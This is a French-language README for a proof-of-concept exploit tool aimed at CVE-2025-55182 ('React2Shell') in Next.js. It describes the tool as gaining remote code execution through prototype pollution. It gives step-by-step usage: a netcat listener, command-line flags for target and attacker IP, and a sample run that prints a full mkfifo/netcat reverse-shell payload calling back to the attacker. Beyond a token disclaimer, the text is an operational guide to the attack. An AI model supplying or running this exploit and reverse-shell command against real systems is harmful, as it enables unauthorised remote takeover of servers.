ihhgimhana/react2shell-cve-2025-55182-poc-reverse-shellCeci est un script PoC facile à utiliser pour exploiter la vulnérabilité React2Shell-CVE-2025-55182 de Nextjs. Cela aidera à obtenir un shell inverse.
🚀 React2Shell - (CVE-2025–55182) Script d'exploitation
🔥 Introduction
Ce dépôt contient un script d'exploitation pour la vulnérabilité React2Shell (CVE-2025–55182), qui cible un type spécifique de pollution de prototype Node.js menant à une exécution de code à distance (RCE).
Le script est spécifiquement conçu pour établir une connexion reverse shell Netcat en injectant une charge utile malveillante dans l'application vulnérable.
⚠️ Avertissement
Cet outil est à des fins éducatives et de recherche uniquement.
⚙️ Prérequis
- Python 3.x
- Bibliothèque
requestsInstallation
Vous pouvez installer la dépendance Python requise en utilisant
pip:pip install requests
Le script est un outil ciblé pour obtenir un reverse shell et nécessite 3 paramètres principaux : l'URL cible (-u), votre adresse IP locale (-l), et le port d'écoute (-p).
Avant d'exécuter l'exploit, vous devez configurer un écouteur Netcat sur votre machine locale pour capturer la connexion reverse shell entrante.
# Start Netcat listener on port 9001 (or your custom port)
nc -lvnp 9001
Exécutez le script en fournissant les arguments nécessaires. Si vous omettez le port (-p), il utilisera par défaut 9001.
| Drapeau | Argument | Description | Exemple |
|---|---|---|---|
-u | --url | (OBLIGATOIRE) L'URL complète de la cible vulnérable. | http://192.168.1.100:3000 |
-l | --local-ip | (OBLIGATOIRE) Votre adresse IP d'attaquant/écouteur. | 192.168.1.5 |
-p | --port | Le port sur lequel votre écouteur est en écoute. | 4444 |
Pour cibler http://192.168.1.100:3000/ et vous reconnecter à votre écouteur sur 192.168.1.5:4444 :
python react2shell.py -u http://192.168.1.100:3000 -l 192.168.1.5 -p 4444
L'exploit utilise la fonction execSync sur la cible, qui bloque généralement le processus serveur. Par conséquent, un ReadTimeout est le signe attendu d'une exécution de commande réussie.
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
[*] Target URL (-u): [http://192.168.1.100:3000/](http://192.168.1.100:3000/)
[*] Local IP (-l): 192.168.1.5
[*] Port (-p): 4444
[*] Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.5 4444 >/tmp/f
[*] Sending payload...
[+] [+] Attack may be Successful! Check your Netcat Listner.
En cas de succès, vous verrez le shell se connecter sur votre écouteur Netcat.
Exécuter le script sans arguments affiche la bannière et les instructions d'utilisation obligatoires :
python react2shell.py
Sortie :
### 🔥 React2Shell - (CVE-2025–55182)
### By Hasa
usage: react2shell.py [-h] -u URL -l LOCAL_IP [-p PORT]
Educational Purposes Only!!!
options:
-h, --help show this help message and exit
-u URL, --url URL (REQUIRED) The target URL (Ex: "[http://example.com:3000](http://example.com:3000)")
-l LOCAL_IP, --local-ip LOCAL_IP
(REQUIRED) Listner or Attacker IP (Ex: "192.168.100.1")
-p PORT, --port PORT Listner Port (Default: 9001)
